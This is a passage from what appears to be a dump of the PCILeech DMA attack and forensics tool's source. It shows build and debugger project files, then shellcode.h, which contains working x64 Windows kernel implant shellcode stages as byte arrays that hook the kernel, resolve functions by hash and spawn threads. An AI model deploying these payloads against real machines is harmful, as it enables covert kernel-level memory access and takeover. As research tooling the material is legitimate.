Files\\ob</Filter>\n    </ClCompile>\n    <ClCompile Include=\"ob\\ob_core.c\">\n      <Filter>Source Files\\ob</Filter>\n    </ClCompile>\n    <ClCompile Include=\"ob\\ob_map.c\">\n      <Filter>Source Files\\ob</Filter>\n    </ClCompile>\n    <ClCompile Include=\"ob\\ob_set.c\">\n      <Filter>Source Files\\ob</Filter>\n    </ClCompile>\n    <ClCompile Include=\"charutil.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"vfslist.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "pcileech/pcileech.vcxproj.user",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"14.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <RemoteDebuggerCommand>\\\\ad.frizk.net\\data\\dev-pcileech\\bin\\pcileech.exe</RemoteDebuggerCommand>\n    <RemoteDebuggerWorkingDirectory>\\\\ad.frizk.net\\data\\dev-pcileech\\bin\\</RemoteDebuggerWorkingDirectory>\n    <RemoteDebuggerServerName>WORKSTATION.ad.frizk.net</RemoteDebuggerServerName>\n    <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>\n    <LocalDebuggerCommandArguments>-device pmem -remote rpc://frizk@ad.frizk.net:localhost display -min 0x1000</LocalDebuggerCommandArguments>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <RemoteDebuggerCommand>\\\\ad.frizk.net\\data\\dev-pcileech\\bin\\pcileech.exe</RemoteDebuggerCommand>\n    <RemoteDebuggerWorkingDirectory>\\\\ad.frizk.net\\data\\dev-pcileech\\bin\\</RemoteDebuggerWorkingDirectory>\n    <RemoteDebuggerServerName>WORKSTATION.ad.frizk.net</RemoteDebuggerServerName>\n    <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>\n    <LocalDebuggerCommandArguments>-device pmem -remote rpc://frizk@ad.frizk.net:localhost display -min 0x1000</LocalDebuggerCommandArguments>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <DebuggerFlavor>WindowsRemoteDebugger</DebuggerFlavor>\n    <LocalDebuggerCommandArguments>wx64_pscmd -kmd 0x7ffff000  -device rawudp://10.9.0.175 -v -vv</LocalDebuggerCommandArguments>\n    <RemoteDebuggerCommand>\\\\ad.frizk.net\\data\\dev-pcileech\\bin\\pcileech.exe</RemoteDebuggerCommand>\n    <RemoteDebuggerCommandArguments>pcileech -device fpga -v  -vv -vvv -min 0x1000 display</RemoteDebuggerCommandArguments>\n    <RemoteDebuggerWorkingDirectory>\\\\ad.frizk.net\\data\\dev-pcileech\\bin\\</RemoteDebuggerWorkingDirectory>\n    <RemoteDebuggerServerName>WORKSTATION.ad.frizk.net</RemoteDebuggerServerName>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <DebuggerFlavor>WindowsRemoteDebugger</DebuggerFlavor>\n    <LocalDebuggerCommandArguments>wx64_pscmd -kmd 0x7ffff000  -device rawudp://10.9.0.175 -v -vv</LocalDebuggerCommandArguments>\n    <RemoteDebuggerCommand>\\\\ad.frizk.net\\data\\dev-pcileech\\bin\\pcileech.exe</RemoteDebuggerCommand>\n    <RemoteDebuggerCommandArguments>pcileech -device fpga -v  -vv -vvv -min 0x1000 display</RemoteDebuggerCommandArguments>\n    <RemoteDebuggerWorkingDirectory>\\\\ad.frizk.net\\data\\dev-pcileech\\bin\\</RemoteDebuggerWorkingDirectory>\n    <RemoteDebuggerServerName>WORKSTATION.ad.frizk.net</RemoteDebuggerServerName>\n  </PropertyGroup>\n</Project>"
  },
  {
    "path": "pcileech/shellcode.h",
    "content": "// shellcode.h : default shellcode used by pcileech in default scenarios.\n//\n// (c) Ulf Frisk, 2016-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#ifndef __SHELLCODE_H__\n#define __SHELLCODE_H__\n\ntypedef struct tdSHELLCODE_DEFAULT_STRUCT {\n    const LPSTR sz;\n    const DWORD cb;\n    const PBYTE pb;\n} SHELLCODE_DEFAULT_STRUCT, *PSHELLCODE_DEFAULT_STRUCT;\n\nconst BYTE WINX64_STAGE1_BIN[] = {\n    0xe8, 0xfb, 0xff, 0xff, 0xff\n};\n\nconst BYTE WINX64_STAGE2_BIN[] = {\n    0xeb, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x48, 0x83, 0xe8,\n    0x05, 0x50, 0x51, 0x52, 0x41, 0x50, 0x41, 0x51, 0x0f, 0x20, 0xc1, 0x51,\n    0x81, 0xe1, 0xff, 0xff, 0xfe, 0xff, 0x0f, 0x22, 0xc1, 0x48, 0x8b, 0x15,\n    0xd4, 0xff, 0xff, 0xff, 0x48, 0x89, 0x10, 0xb0, 0x00, 0xb2, 0x01, 0x48,\n    0x8d, 0x0d, 0xc0, 0xff, 0xff, 0xff, 0xf0, 0x0f, 0xb0, 0x11, 0x75, 0x22,\n    0x41, 0x54, 0x41, 0x55, 0x48, 0x83, 0xec, 0x20, 0x0f, 0x01, 0x0c, 0x24,\n    0x48, 0x8b, 0x4c, 0x24, 0x02, 0x48, 0x8b, 0x49, 0x04, 0xe8, 0xb4, 0x00,\n    0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5d, 0x41, 0x5c, 0x58, 0x0f,\n    0x22, 0xc0, 0x41, 0x59, 0x41, 0x58, 0x5a, 0x59, 0xc3, 0x56, 0x57, 0x48,\n    0x8b, 0xf1, 0x48, 0x33, 0xff, 0x48, 0x33, 0xc0, 0xfc, 0xac, 0x84, 0xc0,\n    0x74, 0x07, 0xc1, 0xcf, 0x0d, 0x03, 0xf8, 0xeb, 0xf4, 0x8b, 0xc7, 0x5f,\n    0x5e, 0xc3, 0x48, 0xc1, 0xe9, 0x0c, 0x48, 0xc1, 0xe1, 0x0c, 0xb8, 0x00,\n    0x10, 0x00, 0x00, 0x48, 0x2b, 0xc8, 0x66, 0x8b, 0x01, 0x66, 0x3d, 0x4d,\n    0x5a, 0x75, 0xef, 0x8b, 0x41, 0x3c, 0x3d, 0x00, 0x10, 0x00, 0x00, 0x77,\n    0xe5, 0x48, 0x03, 0xc1, 0x8b, 0x00, 0x3d, 0x50, 0x45, 0x00, 0x00, 0x75,\n    0xd9, 0x48, 0x8b, 0xc1, 0xc3, 0x57, 0x56, 0x8b, 0x79, 0x3c, 0x8b, 0xbc,\n    0x39, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xf9, 0x44, 0x8b, 0x47, 0x18,\n    0x48, 0x33, 0xf6, 0x8b, 0x47, 0x20, 0x48, 0x03, 0xc1, 0x8b, 0x04, 0xb0,\n    0x48, 0x03, 0xc1, 0x51, 0x48, 0x8b, 0xc8, 0xe8, 0x85, 0xff, 0xff, 0xff,\n    0x59, 0x3b, 0xc2, 0x74, 0x05, 0x48, 0xff, 0xc6, 0xeb, 0xe1, 0x8b, 0x57,\n    0x24, 0x48, 0x03, 0xd1, 0x48, 0x33, 0xc0, 0x66, 0x8b, 0x04, 0x72, 0x8b,\n    0x57, 0x1c, 0x48, 0x03, 0xd1, 0x8b, 0x04, 0x82, 0x48, 0x03, 0xc1, 0x5e,\n    0x5f, 0xc3, 0xe8, 0x77, 0xff, 0xff, 0xff, 0x4c, 0x8b, 0xe0, 0x49, 0x8b,\n    0xcc, 0xba, 0xbc, 0x1e, 0x36, 0x9f, 0xe8, 0x9a, 0xff, 0xff, 0xff, 0x48,\n    0xc7, 0xc1, 0x00, 0x20, 0x00, 0x00, 0x48, 0xc7, 0xc2, 0xff, 0xff, 0xff,\n    0x7f, 0xff, 0xd0, 0x4c, 0x8b, 0xe8, 0x48, 0x33, 0xc0, 0xb9, 0x00, 0x04,\n    0x00, 0x00, 0xff, 0xc9, 0x49, 0x89, 0x44, 0xcd, 0x00, 0x75, 0xf7, 0x4d,\n    0x89, 0x65, 0x08, 0x48, 0xb8, 0x48, 0x8d, 0x05, 0xf1, 0xff, 0xff, 0xff,\n    0x48, 0x49, 0x89, 0x85, 0x00, 0x10, 0x00, 0x00, 0x48, 0xb8, 0x8b, 0x00,\n    0x48, 0x83, 0xf8, 0x00, 0x74, 0xf0, 0x49, 0x89, 0x85, 0x08, 0x10, 0x00,\n    0x00, 0x41, 0x55, 0xb8, 0x00, 0x10, 0x00, 0x00, 0x49, 0x03, 0xc5, 0x50,\n    0x6a, 0x00, 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xcc, 0xba, 0x02, 0x6b,\n    0xa0, 0x94, 0xe8, 0x32, 0xff, 0xff, 0xff, 0x49, 0x8b, 0xcd, 0x48, 0xc7,\n    0xc2, 0xff, 0xff, 0x1f, 0x00, 0x4d, 0x33, 0xc0, 0x4d, 0x33, 0xc9, 0xff,\n    0xd0, 0x48, 0x83, 0xc4, 0x38, 0x49, 0x8b, 0xcc, 0xba, 0x57, 0x63, 0x32,\n    0x5a, 0xe8, 0x0f, 0xff, 0xff, 0xff, 0x49, 0x8b, 0xcd, 0xff, 0xd0, 0x89,\n    0x05, 0x43, 0xfe, 0xff, 0xff, 0xc3\n};\n\nconst BYTE WINX64_STAGE3_BIN[] = {\n    0x48, 0x8d, 0x05, 0xf1, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x00, 0x48, 0x83,\n    0xf8, 0x00, 0x74, 0xf0, 0x48, 0x8d, 0x0d, 0xe9, 0xef, 0xff, 0xff, 0x56,\n    0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0xe8,\n    0xa4, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xe6, 0x5e, 0xc3, 0xcc, 0xcc, 0xcc,\n    0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48,\n    0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x48, 0x63, 0x41, 0x3c, 0x8b,\n    0xea, 0x33, 0xd2, 0x44, 0x8b, 0x84, 0x08, 0x88, 0x00, 0x00, 0x00, 0x4c,\n    0x03, 0xc1, 0x45, 0x8b, 0x50, 0x20, 0x41, 0x8b, 0x78, 0x24, 0x4c, 0x03,\n    0xd1, 0x41, 0x8b, 0x58, 0x1c, 0x48, 0x03, 0xf9, 0x41, 0x8b, 0x70, 0x18,\n    0x48, 0x03, 0xd9, 0x85, 0xf6, 0x74, 0x2e, 0x45, 0x8b, 0x0a, 0x4c, 0x03,\n    0xc9, 0x45, 0x33, 0xdb, 0xeb, 0x0d, 0x0f, 0xb6, 0xc0, 0x49, 0xff, 0xc1,\n    0x41, 0xc1, 0xcb, 0x0d, 0x44, 0x03, 0xd8, 0x41, 0x8a, 0x01, 0x84, 0xc0,\n    0x75, 0xec, 0x44, 0x3b, 0xdd, 0x74, 0x21, 0xff, 0xc2, 0x49, 0x83, 0xc2,\n    0x04, 0x3b, 0xd6, 0x72, 0xd2, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x08,\n    0x48, 0x8b, 0x6c, 0x24, 0x10, 0x48, 0x8b, 0x74, 0x24, 0x18, 0x48, 0x8b,\n    0x7c, 0x24, 0x20, 0xc3, 0x0f, 0xb7, 0x14, 0x57, 0x41, 0x3b, 0x50, 0x14,\n    0x73, 0xdf, 0x8b, 0x04, 0x93, 0x48, 0x03, 0xc1, 0xeb, 0xd9, 0xcc, 0xcc,\n    0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48,\n    0x89, 0x78, 0x18, 0x4c, 0x89, 0x70, 0x20, 0x55, 0x48, 0x8d, 0x68, 0xa1,\n    0x48, 0x81, 0xec, 0xa0, 0x00, 0x00, 0x00, 0x48, 0xb8, 0x77, 0x33, 0x33,\n    0x11, 0x77, 0x33, 0x11, 0xff, 0x48, 0xc7, 0x41, 0x50, 0x01, 0x00, 0x00,\n    0x00, 0x48, 0x89, 0x01, 0x48, 0x8d, 0x75, 0x03, 0x48, 0x8b, 0xd9, 0xc7,\n    0x45, 0xd7, 0x1f, 0x9d, 0x48, 0x9d, 0xc7, 0x45, 0xdb, 0x92, 0xf5, 0x45,\n    0x13, 0x4c, 0x8d, 0xb1, 0x58, 0x03, 0x00, 0x00, 0xc7, 0x45, 0xdf, 0xbc,\n    0x1e, 0x36, 0x9f, 0xbf, 0x0b, 0x00, 0x00, 0x00, 0xc7, 0x45, 0xe3, 0x57,\n    0x63, 0x32, 0x5a, 0xc7, 0x45, 0xe7, 0x6f, 0xa5, 0x77, 0x49, 0xc7, 0x45,\n    0xeb, 0xf9, 0xbe, 0xdd, 0x05, 0xc7, 0x45, 0xef, 0xc9, 0xc5, 0x6e, 0x6c,\n    0xc7, 0x45, 0xf3, 0x02, 0x6b, 0xa0, 0x94, 0xc7, 0x45, 0xf7, 0x9b, 0x97,\n    0x64, 0xcf, 0xc7, 0x45, 0xfb, 0x89, 0x4d, 0x3f, 0xbc, 0xc7, 0x45, 0xff,\n    0x92, 0x6d, 0x58, 0x58, 0x48, 0x8b, 0x4b, 0x08, 0x48, 0x8d, 0x76, 0xfc,\n    0x8b, 0x16, 0x4d, 0x8d, 0x76, 0xf8, 0xe8, 0xbd, 0xfe, 0xff, 0xff, 0x49,\n    0x89, 0x06, 0x83, 0xc7, 0xff, 0x75, 0xe5, 0x48, 0x8b, 0xcb, 0x4c, 0x8d,\n    0x9c, 0x24, 0xa0, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b,\n    0x73, 0x18, 0x49, 0x8b, 0x7b, 0x20, 0x4d, 0x8b, 0x73, 0x28, 0x49, 0x8b,\n    0xe3, 0x5d, 0xe9, 0x01, 0x00, 0x00, 0x00, 0xcc, 0x48, 0x8b, 0xc4, 0x48,\n    0x89, 0x58, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41,\n    0x56, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0xc7, 0x40, 0x08,\n    0xf0, 0xd8, 0xff, 0xff, 0xb9, 0x00, 0x00, 0x00, 0x01, 0x41, 0xbe, 0xff,\n    0xff, 0xff, 0xff, 0x41, 0x8b, 0xd6, 0x33, 0xf6, 0x48, 0x89, 0x4b, 0x18,\n    0xff, 0x93, 0x10, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0,\n    0x75, 0x2c, 0xb9, 0x00, 0x00, 0x40, 0x00, 0x41, 0x8b, 0xd6, 0x48, 0x89,\n    0x4b, 0x18, 0xff, 0x93, 0x10, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0x48,\n    0x85, 0xc0, 0x75, 0x12, 0x48, 0x21, 0x73, 0x18, 0xb8, 0x01, 0x00, 0x00,\n    0xf0, 0x48, 0x89, 0x43, 0x30, 0xe9, 0xab, 0x01, 0x00, 0x00, 0x48, 0x8b,\n    0xcf, 0x48, 0x89, 0x7b, 0x28, 0xff, 0x93, 0x18, 0x03, 0x00, 0x00, 0x48,\n    0x89, 0x43, 0x20, 0x41, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x83,\n    0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x30, 0x48, 0x85, 0xc0, 0x75,\n    0x23, 0x49, 0x03, 0xf6, 0x48, 0xb8, 0x00, 0xe4, 0x0b, 0x54, 0x02, 0x00,\n    0x00, 0x00, 0x48, 0x3b, 0xf0, 0x76, 0xde, 0x4c, 0x8d, 0x44, 0x24, 0x30,\n    0x33, 0xd2, 0x33, 0xc9, 0xff, 0x93, 0x50, 0x03, 0x00, 0x00, 0xeb, 0xcd,\n    0x48, 0xc7, 0x43, 0x30, 0x02, 0x00, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x03,\n    0x0f, 0x84, 0x23, 0x01, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x04, 0x75, 0x4e,\n    0xff, 0x93, 0x20, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0,\n    0x75, 0x06, 0x48, 0x21, 0x43, 0x38, 0xeb, 0x3a, 0x45, 0x33, 0xc0, 0x48,\n    0x83, 0x38, 0x00, 0x75, 0x07, 0x48, 0x83, 0x78, 0x08, 0x00, 0x74, 0x09,\n    0x4d, 0x03, 0xc6, 0x48, 0x83, 0xc0, 0x10, 0xeb, 0xea, 0x49, 0xc1, 0xe0,\n    0x04, 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0xcf, 0x4c, 0x89, 0x43, 0x48, 0xff,\n    0x93, 0x40, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xce, 0xff, 0x93, 0x00, 0x03,\n    0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00,\n    0x00, 0x05, 0x75, 0x17, 0x4c, 0x8d, 0x83, 0x20, 0x02, 0x00, 0x00, 0x48,\n    0x8b, 0xcb, 0x48, 0x8d, 0x93, 0x20, 0x01, 0x00, 0x00, 0xff, 0xd7, 0x4c,\n    0x89, 0x73, 0x38, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x49, 0x2b,\n    0xc6, 0x49, 0x3b, 0xc6, 0x77, 0x52, 0x48, 0x8b, 0x53, 0x48, 0x45, 0x33,\n    0xc0, 0x48, 0x8b, 0x4b, 0x40, 0xff, 0x93, 0x28, 0x03, 0x00, 0x00, 0x48,\n    0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x74, 0x34, 0x4c, 0x8b, 0x43, 0x48, 0x4c,\n    0x39, 0xb3, 0xf8, 0x0f, 0x00, 0x00, 0x75, 0x08, 0x48, 0x8b, 0xd0, 0x48,\n    0x8b, 0xcf, 0xeb, 0x06, 0x48, 0x8b, 0xd7, 0x48, 0x8b, 0xce, 0xff, 0x93,\n    0x40, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x53, 0x48, 0x48, 0x8b, 0xce, 0xff,\n    0x93, 0x30, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0xeb, 0x05, 0x48,\n    0x83, 0x63, 0x38, 0x00, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x06,\n    0x75, 0x15, 0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8b, 0xcf, 0x48, 0x8b, 0x53,\n    0x40, 0xff, 0x93, 0x40, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48,\n    0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x07, 0x75, 0x15, 0x4c, 0x8b, 0x43,\n    0x48, 0x48, 0x8b, 0xd7, 0x48, 0x8b, 0x4b, 0x40, 0xff, 0x93, 0x40, 0x03,\n    0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00,\n    0x00, 0x00, 0x33, 0xf6, 0xe9, 0x98, 0xfe, 0xff, 0xff, 0xb8, 0x00, 0x00,\n    0x00, 0xf0, 0x48, 0x8b, 0xcf, 0x48, 0x89, 0x43, 0x30, 0xff, 0x93, 0x08,\n    0x03, 0x00, 0x00, 0x48, 0x83, 0x63, 0x20, 0x00, 0x48, 0x83, 0x63, 0x28,\n    0x00, 0x48, 0x83, 0x23, 0x00, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00,\n    0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x8b, 0x5c, 0x24, 0x38, 0x48, 0x8b,\n    0x74, 0x24, 0x40, 0x48, 0x8b, 0x7c, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x20,\n    0x41, 0x5e, 0xc3\n};\n\nconst BYTE WINX64_STAGE2_HAL_BIN[] = {\n    0xeb, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0x52, 0x41, 0x50,\n    0x41, 0x51, 0x53, 0x56, 0x57, 0x41, 0x52, 0x41, 0x53, 0x41, 0x54, 0x41,\n    0x55, 0x48, 0x83, 0xec, 0x20, 0x0f, 0x01, 0x0c, 0x24, 0x48, 0x8b, 0x4c,\n    0x24, 0x02, 0x48, 0x8b, 0x49, 0x04, 0xe8, 0x36, 0x01, 0x00, 0x00, 0x4c,\n    0x8b, 0xe0, 0x49, 0x8b, 0xcc, 0xba, 0xce, 0xad, 0x90, 0x4d, 0xe8, 0x59,\n    0x01, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x75, 0x5c, 0xb0, 0x00,\n    0xb2, 0x01, 0xf0, 0x0f, 0xb0, 0x15, 0x98, 0xff, 0xff, 0xff, 0x75, 0x4e,\n    0x48, 0x8b, 0x05, 0x9d, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x0d, 0x8e, 0xff,\n    0xff, 0xff, 0x48, 0x89, 0x08, 0x49, 0x8b, 0xcc, 0xba, 0x02, 0x6b, 0xa0,\n    0x94, 0xe8, 0x26, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0xe8, 0x6a, 0x00, 0x41,\n    0x54, 0x48, 0x8d, 0x05, 0x40, 0x00, 0x00, 0x00, 0x50, 0x6a, 0x00, 0x48,\n    0x83, 0xec, 0x20, 0x4d, 0x33, 0xc9, 0x4d, 0x33, 0xc0, 0x48, 0xc7, 0xc2,\n    0xff, 0xff, 0x1f, 0x00, 0x48, 0x8d, 0x0d, 0x65, 0xff, 0xff, 0xff, 0x41,\n    0xff, 0xd5, 0x48, 0x83, 0xc4, 0x40, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5d,\n    0x41, 0x5c, 0x41, 0x5b, 0x41, 0x5a, 0x5f, 0x5e, 0x5b, 0x41, 0x59, 0x41,\n    0x58, 0x5a, 0x59, 0x48, 0x8b, 0x05, 0x32, 0xff, 0xff, 0xff, 0xff, 0xe0,\n    0x55, 0x48, 0x8b, 0xec, 0x48, 0x83, 0xec, 0x20, 0x4c, 0x8b, 0xe1, 0xba,\n    0xbc, 0x1e, 0x36, 0x9f, 0xe8, 0xc3, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc1,\n    0x00, 0x20, 0x00, 0x00, 0x48, 0xc7, 0xc2, 0xff, 0xff, 0xff, 0x7f, 0xff,\n    0xd0, 0x4c, 0x8b, 0xe8, 0x48, 0x33, 0xc0, 0xb9, 0x00, 0x04, 0x00, 0x00,\n    0xff, 0xc9, 0x49, 0x89, 0x44, 0xcd, 0x00, 0x75, 0xf7, 0x49, 0x8b, 0xc4,\n    0x49, 0x89, 0x45, 0x08, 0x48, 0xb8, 0x48, 0x8d, 0x05, 0xf1, 0xff, 0xff,\n    0xff, 0x48, 0x49, 0x89, 0x85, 0x00, 0x10, 0x00, 0x00, 0x48, 0xb8, 0x8b,\n    0x00, 0x48, 0x83, 0xf8, 0x00, 0x74, 0xf0, 0x49, 0x89, 0x85, 0x08, 0x10,\n    0x00, 0x00, 0x49, 0x8b, 0xcc, 0xba, 0x57, 0x63, 0x32, 0x5a, 0xe8, 0x69,\n    0x00, 0x00, 0x00, 0x49, 0x8b, 0xcd, 0xff, 0xd0, 0x89, 0x05, 0xb2, 0xfe,\n    0xff, 0xff, 0x48, 0x8b, 0xe5, 0x5d, 0x49, 0x81, 0xc5, 0x00, 0x10, 0x00,\n    0x00, 0x41, 0xff, 0xe5, 0x56, 0x57, 0x48, 0x8b, 0xf1, 0x48, 0x33, 0xff,\n    0x48, 0x33, 0xc0, 0xfc, 0xac, 0x84, 0xc0, 0x74, 0x07, 0xc1, 0xcf, 0x0d,\n    0x03, 0xf8, 0xeb, 0xf4, 0x8b, 0xc7, 0x5f, 0x5e, 0xc3, 0x48, 0xc1, 0xe9,\n    0x0c, 0x48, 0xc1, 0xe1, 0x0c, 0xb8, 0x00, 0x10, 0x00, 0x00, 0x48, 0x2b,\n    0xc8, 0x66, 0x8b, 0x01, 0x66, 0x3d, 0x4d, 0x5a, 0x75, 0xef, 0x8b, 0x41,\n    0x3c, 0x3d, 0x00, 0x10, 0x00, 0x00, 0x77, 0xe5, 0x48, 0x03, 0xc1, 0x8b,\n    0x00, 0x3d, 0x50, 0x45, 0x00, 0x00, 0x75, 0xd9, 0x48, 0x8b, 0xc1, 0xc3,\n    0x57, 0x56, 0x8b, 0x79, 0x3c, 0x8b, 0xbc, 0x39, 0x88, 0x00, 0x00, 0x00,\n    0x48, 0x03, 0xf9, 0x44, 0x8b, 0x47, 0x18, 0x48, 0x33, 0xf6, 0x8b, 0x47,\n    0x20, 0x48, 0x03, 0xc1, 0x8b, 0x04, 0xb0, 0x48, 0x03, 0xc1, 0x51, 0x48,\n    0x8b, 0xc8, 0xe8, 0x85, 0xff, 0xff, 0xff, 0x59, 0x3b, 0xc2, 0x74, 0x05,\n    0x48, 0xff, 0xc6, 0xeb, 0xe1, 0x8b, 0x57, 0x24, 0x48, 0x03, 0xd1, 0x48,\n    0x33, 0xc0, 0x66, 0x8b, 0x04, 0x72, 0x8b, 0x57, 0x1c, 0x48, 0x03, 0xd1,\n    0x8b, 0x04, 0x82, 0x48, 0x03, 0xc1, 0x5e, 0x5f, 0xc3\n};\n\nconst BYTE WINX64_STAGE23_VMM[] = {\n  0xeb, 0x56, 0xe9, 0xd5, 0x01, 0x00, 0x00, 0x00, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,\n  0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,\n  0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55,\n  0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x77, 0x77, 0x77, 0x77, 0x77, 0x77, 0x77, 0x77,\n  0x88, 0x88, 0x88, 0x88, 0x88, 0x88, 0x88, 0x88, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,\n  0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x50, 0x51, 0x52, 0x41, 0x50, 0x41, 0x51, 0x41,\n  0x54, 0x41, 0x55, 0xff, 0x15, 0xdf, 0xff, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x75, 0x16, 0xb0, 0x00,\n  0xb2, 0x01, 0x48, 0x8b, 0x0d, 0x8f, 0xff, 0xff, 0xff, 0xf0, 0x0f, 0xb0, 0x11, 0x75, 0x05, 0xe8,\n  0x11, 0x00, 0x00, 0x00, 0x41, 0x5d, 0x41, 0x5c, 0x41, 0x59, 0x41, 0x58, 0x5a, 0x59, 0x58, 0xff,\n  0x25, 0x7b, 0xff, 0xff, 0xff, 0x50, 0x4c, 0x8b, 0x25, 0x7b, 0xff, 0xff, 0xff, 0x48, 0x83, 0xec,\n  0x20, 0x48, 0xc7, 0xc1, 0x00, 0x10, 0x00, 0x00, 0x48, 0xc7, 0xc2, 0xff, 0xff, 0xff, 0x7f, 0xff,\n  0x15, 0x7b, 0xff, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x20, 0x4c, 0x8b, 0xe8, 0x41, 0xc6, 0x04, 0x24,\n  0x02, 0x49, 0x89, 0x44, 0x24, 0x10, 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xcd, 0xff, 0x15, 0x6d,\n  0xff, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x20, 0x48, 0x8b, 0x0d, 0x42, 0xff, 0xff, 0xff, 0x48, 0x89,\n  0x01, 0x41, 0xc6, 0x04, 0x24, 0x03, 0x48, 0x33, 0xc0, 0xb9, 0x00, 0x02, 0x00, 0x00, 0xff, 0xc9,\n  0x49, 0x89, 0x44, 0xcd, 0x00, 0x75, 0xf7, 0x41, 0xc6, 0x04, 0x24, 0x04, 0x48, 0x8b, 0x05, 0x25,\n  0xff, 0xff, 0xff, 0x49, 0x89, 0x45, 0x08, 0x41, 0xc6, 0x04, 0x24, 0x05, 0x50, 0x41, 0x55, 0x48,\n  0x8b, 0x05, 0x3a, 0xff, 0xff, 0xff, 0x50, 0x6a, 0x00, 0x48, 0x83, 0xec, 0x20, 0x4d, 0x33, 0xc9,\n  0x4d, 0x33, 0xc0, 0x48, 0xc7, 0xc2, 0xff, 0xff, 0x1f, 0x00, 0x49, 0x8b, 0xcd, 0xff, 0x15, 0x05,\n  0xff, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x40, 0x41, 0xc6, 0x04, 0x24, 0x06, 0x58, 0xc3, 0xcc, 0xcc,\n  0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48,\n  0x89, 0x78, 0x20, 0x48, 0x63, 0x41, 0x3c, 0x8b, 0xea, 0x33, 0xd2, 0x44, 0x8b, 0x84, 0x08, 0x88,\n  0x00, 0x00, 0x00, 0x4c, 